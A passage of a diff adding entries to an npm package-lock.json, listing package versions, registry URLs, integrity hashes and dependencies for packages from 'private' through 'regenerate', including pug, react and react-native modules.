"^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/private": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", + "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", + "dev": true, + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-1.0.7.tgz", + "integrity": "sha1-FQ4gt1ZZCtP5EJPyWk8q2L/zC6M=" + }, + "node_modules/progress": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/progress/-/progress-1.1.8.tgz", + "integrity": "sha1-4mDHj2Fhzdmw5WzD4Khd4Xx6V74=", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", + "dependencies": { + "asap": "~2.0.3" + } + }, + "node_modules/promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", + "dev": true + }, + "node_modules/promise-polyfill": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/promise-polyfill/-/promise-polyfill-6.1.0.tgz", + "integrity": "sha1-36lpQ+qcEh/KTem1hoyznTRy4Fc=", + "dev": true + }, + "node_modules/promise-retry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-1.1.1.tgz", + "integrity": "sha1-ZznpaOMFHaIM5kl/srUPaRHfPW0=", + "dev": true, + "dependencies": { + "err-code": "^1.0.0", + "retry": "^0.10.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "peer": true, + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prop-types": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", + "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", + "dependencies": { + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" + } + }, + "node_modules/proto-list": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", + "integrity": "sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA==", + "dev": true + }, + "node_modules/prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "node_modules/pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", + "dev": true + }, + "node_modules/psl": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.7.0.tgz", + "integrity": "sha512-5NsSEDv8zY70ScRnOTn7bK7eanl2MvFrOrS/R6x+dBt5g1ghnj9Zv90kO8GwT8gxcu2ANyFprnFYB85IogIJOQ==", + "dev": true + }, + "node_modules/public-encrypt": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.0.tgz", + "integrity": "sha1-OfaZ86RlYN1eusvKaTyvfGXBjMY=", + "dev": true, + "dependencies": { + "bn.js": "^4.1.0", + "browserify-rsa": "^4.0.0", + "create-hash": "^1.1.0", + "parse-asn1": "^5.0.0", + "randombytes": "^2.0.1" + } + }, + "node_modules/pug": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/pug/-/pug-3.0.1.tgz", + "integrity": "sha512-9v1o2yXMfSKJy2PykKyWUhpgx9Pf9D/UlPgIs2pTTxR6DQZ0oivy4I9f8PlWXRY4sjIhDU4TMJ7hQmYnNJc2bw==", + "dev": true, + "dependencies": { + "pug-code-gen": "^3.0.2", + "pug-filters": "^4.0.0", + "pug-lexer": "^5.0.0", + "pug-linker": "^4.0.0", + "pug-load": "^3.0.0", + "pug-parser": "^6.0.0", + "pug-runtime": "^3.0.0", + "pug-strip-comments": "^2.0.0" + } + }, + "node_modules/pug-attrs": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-3.0.0.tgz", + "integrity": "sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==", + "dev": true, + "dependencies": { + "constantinople": "^4.0.1", + "js-stringify": "^1.0.2", + "pug-runtime": "^3.0.0" + } + }, + "node_modules/pug-code-gen": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-3.0.2.tgz", + "integrity": "sha512-nJMhW16MbiGRiyR4miDTQMRWDgKplnHyeLvioEJYbk1RsPI3FuA3saEP8uwnTb2nTJEKBU90NFVWJBk4OU5qyg==", + "dev": true, + "dependencies": { + "constantinople": "^4.0.1", + "doctypes": "^1.1.0", + "js-stringify": "^1.0.2", + "pug-attrs": "^3.0.0", + "pug-error": "^2.0.0", + "pug-runtime": "^3.0.0", + "void-elements": "^3.1.0", + "with": "^7.0.0" + } + }, + "node_modules/pug-error": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-2.0.0.tgz", + "integrity": "sha512-sjiUsi9M4RAGHktC1drQfCr5C5eriu24Lfbt4s+7SykztEOwVZtbFk1RRq0tzLxcMxMYTBR+zMQaG07J/btayQ==", + "dev": true + }, + "node_modules/pug-filters": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-4.0.0.tgz", + "integrity": "sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==", + "dev": true, + "dependencies": { + "constantinople": "^4.0.1", + "jstransformer": "1.0.0", + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0", + "resolve": "^1.15.1" + } + }, + "node_modules/pug-lexer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-5.0.1.tgz", + "integrity": "sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==", + "dev": true, + "dependencies": { + "character-parser": "^2.2.0", + "is-expression": "^4.0.0", + "pug-error": "^2.0.0" + } + }, + "node_modules/pug-linker": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-4.0.0.tgz", + "integrity": "sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==", + "dev": true, + "dependencies": { + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0" + } + }, + "node_modules/pug-load": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-3.0.0.tgz", + "integrity": "sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==", + "dev": true, + "dependencies": { + "object-assign": "^4.1.1", + "pug-walk": "^2.0.0" + } + }, + "node_modules/pug-parser": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-6.0.0.tgz", + "integrity": "sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==", + "dev": true, + "dependencies": { + "pug-error": "^2.0.0", + "token-stream": "1.0.0" + } + }, + "node_modules/pug-runtime": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-3.0.1.tgz", + "integrity": "sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==", + "dev": true + }, + "node_modules/pug-strip-comments": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz", + "integrity": "sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==", + "dev": true, + "dependencies": { + "pug-error": "^2.0.0" + } + }, + "node_modules/pug-walk": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-2.0.0.tgz", + "integrity": "sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==", + "dev": true + }, + "node_modules/pump": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", + "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/pumpify": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", + "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", + "dev": true, + "dependencies": { + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" + } + }, + "node_modules/punycode": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", + "dev": true + }, + "node_modules/q": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", + "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=", + "dev": true, + "engines": { + "node": ">=0.6.0", + "teleport": ">=0.2.0" + } + }, + "node_modules/qs": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", + "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/query-string": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz", + "integrity": "sha1-u7aTucqRXCMlFbIosaArYJBD2+s=", + "dev": true, + "dependencies": { + "object-assign": "^4.1.0", + "strict-uri-encode": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/querystring": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", + "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", + "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.", + "dev": true, + "engines": { + "node": ">=0.4.x" + } + }, + "node_modules/querystring-es3": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz", + "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=", + "dev": true, + "engines": { + "node": ">=0.4.x" + } + }, + "node_modules/randomatic": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-3.0.0.tgz", + "integrity": "sha512-VdxFOIEY3mNO5PtSRkkle/hPJDHvQhK21oa73K4yAc9qmp6N429gAyF1gZMOTMeS0/AYzaV/2Trcef+NaIonSA==", + "dev": true, + "dependencies": { + "is-number": "^4.0.0", + "kind-of": "^6.0.0", + "math-random": "^1.0.1" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/randomatic/node_modules/is-number": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", + "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/randomatic/node_modules/kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/randombytes": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.5.tgz", + "integrity": "sha1-3ACaJGuNCaF3tLegrne8Vw9LG3k=", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "peer": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-1.1.7.tgz", + "integrity": "sha1-HQJ8K/oRasxmI7yo8AAWVyqH1CU=", + "dev": true, + "dependencies": { + "bytes": "1", + "string_decoder": "0.10" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/rc/node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/react": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react/-/react-15.6.2.tgz", + "integrity": "sha1-26BDSrQ5z+gvEI8PURZjkIF5qnI=", + "dependencies": { + "create-react-class": "^15.6.0", + "fbjs": "^0.8.9", + "loose-envify": "^1.1.0", + "object-assign": "^4.1.0", + "prop-types": "^15.5.10" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-devtools-core": { + "version": "4.27.2", + "resolved": "https://registry.npmjs.org/react-devtools-core/-/react-devtools-core-4.27.2.tgz", + "integrity": "sha512-8SzmIkpO87alD7Xr6gWIEa1jHkMjawOZ+6egjazlnjB4UUcbnzGDf/vBJ4BzGuWWEM+pzrxuzsPpcMqlQkYK2g==", + "peer": true, + "dependencies": { + "shell-quote": "^1.6.1", + "ws": "^7" + } + }, + "node_modules/react-devtools-core/node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "peer": true + }, + "node_modules/react-native": { + "version": "0.71.3", + "resolved": "https://registry.npmjs.org/react-native/-/react-native-0.71.3.tgz", + "integrity": "sha512-RYJXCcQGa4NTfKiPgl92eRDUuQ6JGDnHqFEzRwJSqEx9lWvlvRRIebstJfurzPDKLQWQrvITR7aI7e09E25mLw==", + "peer": true, + "dependencies": { + "@jest/create-cache-key-function": "^29.2.1", + "@react-native-community/cli": "10.1.3", + "@react-native-community/cli-platform-android": "10.1.3", + "@react-native-community/cli-platform-ios": "10.1.1", + "@react-native/assets": "1.0.0", + "@react-native/normalize-color": "2.1.0", + "@react-native/polyfills": "2.0.0", + "abort-controller": "^3.0.0", + "anser": "^1.4.9", + "base64-js": "^1.1.2", + "deprecated-react-native-prop-types": "^3.0.1", + "event-target-shim": "^5.0.1", + "invariant": "^2.2.4", + "jest-environment-node": "^29.2.1", + "jsc-android": "^250231.0.0", + "memoize-one": "^5.0.0", + "metro-react-native-babel-transformer": "0.73.7", + "metro-runtime": "0.73.7", + "metro-source-map": "0.73.7", + "mkdirp": "^0.5.1", + "nullthrows": "^1.1.1", + "pretty-format": "^26.5.2", + "promise": "^8.3.0", + "react-devtools-core": "^4.26.1", + "react-native-codegen": "^0.71.5", + "react-native-gradle-plugin": "^0.71.15", + "react-refresh": "^0.4.0", + "react-shallow-renderer": "^16.15.0", + "regenerator-runtime": "^0.13.2", + "scheduler": "^0.23.0", + "stacktrace-parser": "^0.1.3", + "use-sync-external-store": "^1.0.0", + "whatwg-fetch": "^3.0.0", + "ws": "^6.2.2" + }, + "bin": { + "react-native": "cli.js" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "react": "18.2.0" + } + }, + "node_modules/react-native-codegen": { + "version": "0.71.5", + "resolved": "https://registry.npmjs.org/react-native-codegen/-/react-native-codegen-0.71.5.tgz", + "integrity": "sha512-rfsuc0zkuUuMjFnrT55I1mDZ+pBRp2zAiRwxck3m6qeGJBGK5OV5JH66eDQ4aa+3m0of316CqrJDRzVlYufzIg==", + "peer": true, + "dependencies": { + "@babel/parser": "^7.14.0", + "flow-parser": "^0.185.0", + "jscodeshift": "^0.13.1", + "nullthrows": "^1.1.1" + } + }, + "node_modules/react-native-gradle-plugin": { + "version": "0.71.15", + "resolved": "https://registry.npmjs.org/react-native-gradle-plugin/-/react-native-gradle-plugin-0.71.15.tgz", + "integrity": "sha512-7S3pAuPaQJlhax6EZ4JMsDNpj05TfuzX9gPgWLrFfAIWIFLuJ6aDQYAZy2TEI9QJALPoWrj8LWaqP/DGYh14pw==", + "peer": true + }, + "node_modules/react-native-url-polyfill": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/react-native-url-polyfill/-/react-native-url-polyfill-1.1.2.tgz", + "integrity": "sha512-RPYwjW+4udnAf26xUCQP2dn4t2tnRFo3Ii4s/hy7Ivpe7xYtXp7CMVX505CR8X3p0f8NKmOJ4MQEFMMnbd/Y/Q==", + "dependencies": { + "buffer": "^5.4.3", + "whatwg-url-without-unicode": "8.0.0-1" + }, + "peerDependencies": { + "react-native": "*" + } + }, + "node_modules/react-native-url-polyfill/node_modules/buffer": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", + "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", + "dependencies": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4" + } + }, + "node_modules/react-native/node_modules/promise": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/promise/-/promise-8.3.0.tgz", + "integrity": "sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==", + "peer": true, + "dependencies": { + "asap": "~2.0.6" + } + }, + "node_modules/react-native/node_modules/react-shallow-renderer": { + "version": "16.15.0", + "resolved": "https://registry.npmjs.org/react-shallow-renderer/-/react-shallow-renderer-16.15.0.tgz", + "integrity": "sha512-oScf2FqQ9LFVQgA73vr86xl2NaOIX73rh+YFqcOp68CWj56tSfgtGKrEbyhCj0rSijyG9M1CYprTh39fBi5hzA==", + "peer": true, + "dependencies": { + "object-assign": "^4.1.1", + "react-is": "^16.12.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependencies": { + "react": "^16.0.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/react-native/node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==", + "peer": true + }, + "node_modules/react-native/node_modules/use-sync-external-store": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.2.0.tgz", + "integrity": "sha512-eEgnFxGQ1Ife9bzYs6VLi8/4X6CObHMw9Qr9tPY43iKwsPw8xE8+EFsf/2cFZ5S3esXgpWgtSCtLNS41F+sKPA==", + "peer": true, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/react-refresh": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.4.3.tgz", + "integrity": "sha512-Hwln1VNuGl/6bVwnd0Xdn1e84gT/8T9aYNL+HAKDArLCS7LWjwr7StE30IEYbIkx0Vi3vs+coQxe+SQDbGbbpA==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-only-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/read-only-stream/-/read-only-stream-2.0.0.tgz", + "integrity": "sha1-JyT9aoET1zdkrCiNQ4YnDB2/F/A=", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.2" + } + }, + "node_modules/read-pkg": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", + "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", + "dev": true, + "dependencies": { + "load-json-file": "^1.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-pkg-up": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", + "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", + "dev": true, + "dependencies": { + "find-up": "^1.0.0", + "read-pkg": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/readable-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.1.tgz", + "integrity": "sha512-u6cxIvtbZcjq2HH71Zc/SRBUl7vbv62szIqmqqGpK3HY5J1c0kR/LUzKUpeoFgMzapvVAlBD+QY56ilWmHi4Nw==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "safe-buffer": "~5.1.0", + "string_decoder": "~1.0.0", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readable-stream/node_modules/string_decoder": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.2.tgz", + "integrity": "sha1-sp4fThEl+pehA4K4pTNze3SR4Xk=", + "dependencies": { + "safe-buffer": "~5.0.1" + } + }, + "node_modules/readable-stream/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.0.1.tgz", + "integrity": "sha1-0mPKVGls2KMGtcplUekt5XkY++c=" + }, + "node_modules/readdirp": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.1.0.tgz", + "integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "minimatch": "^3.0.2", + "readable-stream": "^2.0.2", + "set-immediate-shim": "^1.0.1" + }, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/readline": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/readline/-/readline-1.3.0.tgz", + "integrity": "sha512-k2d6ACCkiNYz222Fs/iNze30rRJ1iIicW7JuX/7/cozvih6YCkFZH+J6mAFDVgv0dRBaAyr4jDqC95R2y4IADg==", + "peer": true + }, + "node_modules/recast": { + "version": "0.20.5", + "resolved": "https://registry.npmjs.org/recast/-/recast-0.20.5.tgz", + "integrity": "sha512-E5qICoPoNL4yU0H0NoBDntNB0Q5oMSNh9usFctYniLBluTthi3RsQVBXIJNbApOlvSwW/RGxIuokPcAc59J5fQ==", + "peer": true, + "dependencies": { + "ast-types": "0.14.2", + "esprima": "~4.0.0", + "source-map": "~0.6.1", + "tslib": "^2.0.1" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/recast/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "peer": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/recast/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/recast/node_modules/tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==", + "peer": true + }, + "node_modules/rechoir": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", + "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", + "dev": true, + "dependencies": { + "resolve": "^1.1.6" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/redent": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", + "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", + "dev": true, + "dependencies": { + "indent-string": "^2.1.0", + "strip-indent": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/reduce-css-calc": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz", + "integrity": "sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=", + "dev": true, + "dependencies": { + "balanced-match": "^0.4.2", + "math-expression-evaluator": "^1.2.14", + "reduce-function-call": "^1.0.1" + } + }, + "node_modules/reduce-css-calc/node_modules/balanced-match": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", + "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", + "dev": true + }, + "node_modules/reduce-function-call": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/reduce-function-call/-/reduce-function-call-1.0.2.tgz", + "integrity": "sha1-WiAL+S4ON3UXUv5FsKszD9S2vpk=", + "dev": true, + "dependencies": { + "balanced-match": "^0.4.2" + } + }, + "node_modules/reduce-function-call/node_modules/balanced-match": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz", + "integrity": "sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=", + "dev": true + }, + "node_modules/regenerate": { + "version": "1.4.0", + "resolved": 